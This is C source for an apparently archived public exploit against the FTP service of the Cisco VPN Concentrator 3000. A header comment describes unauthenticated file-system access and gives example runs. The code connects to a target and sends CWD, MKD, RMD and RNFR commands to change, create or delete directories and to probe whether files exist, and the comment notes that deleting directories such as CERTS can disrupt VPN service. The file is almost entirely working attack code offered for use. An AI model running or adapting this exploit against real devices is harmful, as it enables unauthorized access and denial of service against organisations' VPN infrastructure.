233 lines
No EOL
7.6 KiB
C
233 lines
No EOL
7.6 KiB
C
/* Cisco VPN Concentrator 3000 FTP remote exploit
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* ==============================================
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* A vulnerability exists in the Cisco VPN Concentrator 3000,
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* an unauthenticated user may access the file system through
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* manipulation of FTP service commands. An unauthenticated
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* user can use the following commands;
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*
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* CWD - Change the current working directory
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* MKD - Make a directory within the current working directory
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* CDUP - Change directory up one tree.
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* RNFR - Rename From (This can be used to identify files and directories)
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* SIZE - This can be used to identify files and directories
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* RMD - This can be used to delete a directory
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*
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* The FTP service remembers the current working directory so directory
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* changes can affect exploitation. By removing potentially sensitive
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* directories such as "CERTS" it may be possible to disrupt service
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* to a VPN.
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*
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* Confirmed Vulnerable
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* + Cisco Systems Inc./VPN 3000 concentrator Version 4.1.5 RelJun 18 2004
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*
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* Example.
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* localhost exploits # ./prdelka-vs-CISCO-vpnftp -s 10.1.2.10 -c /
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* [ Cisco VPN Concentrator 3000 FTP service exploit
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* [ Connected to 10.1.2.10 (21/tcp)
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* [ Changing directory to /
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* [ Success! changed directory to /
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* localhost exploits # ./prdelka-vs-CISCO-vpnftp -s 10.1.2.10 -t config
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* [ Cisco VPN Concentrator 3000 FTP service exploit
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* [ Connected to 10.1.2.10 (21/tcp)
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* [ Testing for the existance of config
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* [ Success! file config does exist!
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*
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*
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* - prdelka
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*/
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#include <sys/types.h>
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#include <sys/socket.h>
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#include <netinet/in.h>
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#include <arpa/inet.h>
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#include <netdb.h>
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#include <stdio.h>
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#include <unistd.h>
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#include <stdlib.h>
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#include <getopt.h>
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#include <signal.h>
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int main (int argc, char *argv[]){
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int ihost=0,index=0,imkdir=0,ichdir=0,idelete=0,itest=0,ipass=0,port=21;
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int c, sd, rc, size;
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char *host, *directory, *file, *buffer, *rbuffer;
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struct sockaddr_in servAddr;
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struct hostent *h;
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static struct option options[]={
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{"server", 1, 0, 's'},
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{"port", 1, 0, 'p'},
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{"rmdir", 1, 0, 'r'},
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{"mkdir", 1, 0, 'm'},
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{"chdir", 1, 0, 'c'},
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{"test", 1, 0, 't'},
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{"help", 0, 0,'h'}
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};
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printf("[ Cisco VPN Concentrator 3000 FTP service exploit\n");
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while(c != -1){
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c = getopt_long(argc,argv,"s:p:r:m:c:t:h",options,&index);
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switch(c){
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case 's':
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if(ihost==0){
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h = gethostbyname(optarg);
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if(h==NULL){
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printf("[ Error unknown host '%s'\n",optarg);
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exit(1);
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}
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host = malloc(strlen(optarg) + 1);
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sprintf(host,"%s",optarg);
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ihost = 1;
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}
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break;
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case 'p':
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port = atoi(optarg);
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break;
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case 'r':
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if(idelete==0){
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if(ipass!=1){
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ipass = 1;
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idelete = 1;
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directory = optarg;
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}
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else{
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printf("[ Error: cannot delete directory as another option already selected\n");
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exit(1);
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}
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}
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break;
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case 'c':
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if(ichdir==0){
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if(ipass!=1){
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ipass = 1;
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ichdir = 1;
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directory = optarg;
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}
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else{
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printf("[ Error: cannot change dir as another option already selected\n");
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exit(2);
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}
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}
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break;
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case 't':
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if(itest==0){
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if(ipass!=1){
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ipass = 1;
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itest = 1;
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file = optarg;
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}
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else{
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printf("[ Error: cannot test for existance as another option already selected\n");
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exit(3);
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}
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}
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break;
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case 'm':
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if(imkdir==0){
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if(ipass!=1){
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ipass = 1;
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imkdir = 1;
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directory = optarg;
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}
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else{
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printf("[ Error: cannot make directory as another option already selected\n");
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exit(4);
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}
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}
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break;
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case 'h':
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printf("[ Usage instructions.\n[\n");
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printf("[ %s <required> (optional)\n[\n",argv[0]);
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printf("[\t--server|-s <ip/hostname>\n[\t--port|-p (port) [default 21]\n[\t--rmdir|-r (directory)\n[\t--mkdir|-m (directory)\n");
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printf("[\t--chdir|-c (directory)\n[\t--test|-t (filename/directory)\n[\n");
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exit(0);
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break;
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default:
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break;
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}
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}
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if(ihost != 1 || ipass != 1){
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printf("[ Error insufficient arguements, try running '%s --help'\n",argv[0]);
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exit(1);
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}
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servAddr.sin_family = h->h_addrtype;
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memcpy((char *) &servAddr.sin_addr.s_addr, h->h_addr_list[0], h->h_length);
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servAddr.sin_port = htons(port);
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sd = socket(AF_INET, SOCK_STREAM, 0);
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if(sd<0){
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printf("[ Cannot open socket\n");
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exit(1);
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}
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rc = connect(sd, (struct sockaddr *) &servAddr, sizeof(servAddr));
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if(rc<0){
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printf("[ Cannot connect\n");
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exit(1);
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}
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printf("[ Connected to %s (%d/tcp)\n",host,port);
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rbuffer = malloc(1024);
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if(ichdir==1){
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printf("[ Changing directory to %s\n",directory);
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size = 2048 + strlen(directory);
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buffer = malloc(size);
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sprintf(buffer,"CWD %s\r\n",directory);
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rc = send(sd, buffer, strlen(buffer),0);
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while((rc = recv(sd, rbuffer,1023,0)) != -1){
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rbuffer[rc]=0;
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if(strstr(rbuffer,"250 Changed to .") != NULL){
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printf("[ Success! changed directory to %s\n",directory);
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break;
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}
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if(strstr(rbuffer,"530 Can't change directory to") != NULL){
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printf("[ Error! cannot set current directory to %s\n",directory);
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exit(-1);
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}
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}
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}
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if(imkdir==1){
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printf("[ Making directory %s\n",directory);
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size = 2048 + strlen(directory);
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buffer = malloc(size);
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sprintf(buffer,"MKD %s\r\n",directory);
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rc = send(sd, buffer, strlen(buffer),0);
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while((rc = recv(sd, rbuffer,1023,0)) != -1){
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rbuffer[rc]=0;
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if(strstr(rbuffer,"257 MKD command successful.") != NULL){
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printf("[ Success! directory %s created\n",directory);
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break;
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}
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}
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}
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if(idelete==1){
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printf("[ Deleting directory %s\n",directory);
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size = 2048 + strlen(directory);
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buffer = malloc(size);
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sprintf(buffer,"RMD %s\r\n",directory);
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rc = send(sd, buffer, strlen(buffer),0);
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while((rc = recv(sd, rbuffer,1023,0)) != -1){
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rbuffer[rc]=0;
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if(strstr(rbuffer,"250 RMD command successful.") != NULL){
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printf("[ Success! directory %s deleted\n",directory);
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break;
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}
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}
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}
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if(itest==1){
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printf("[ Testing for the existance of %s\n",file);
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size = 2048 + strlen(file);
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buffer = malloc(size);
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sprintf(buffer,"RNFR %s\r\n",file);
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rc = send(sd, buffer,strlen(buffer),0);
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while((rc = recv(sd, rbuffer,1023,0)) != -1){
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rbuffer[rc]=0;
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if(strstr(rbuffer,"350 RNFR accepted - file exists, ready for destination.") != NULL){
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printf("[ Success! %s does exist!\n",file);
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break;
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}
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if(strstr(rbuffer,"550 File does not exist!") != NULL){
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printf("[ Success! %s does not exist\n",file);
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break;
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}
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}
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}
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exit(0);
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}
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// milw0rm.com [2006-10-24]
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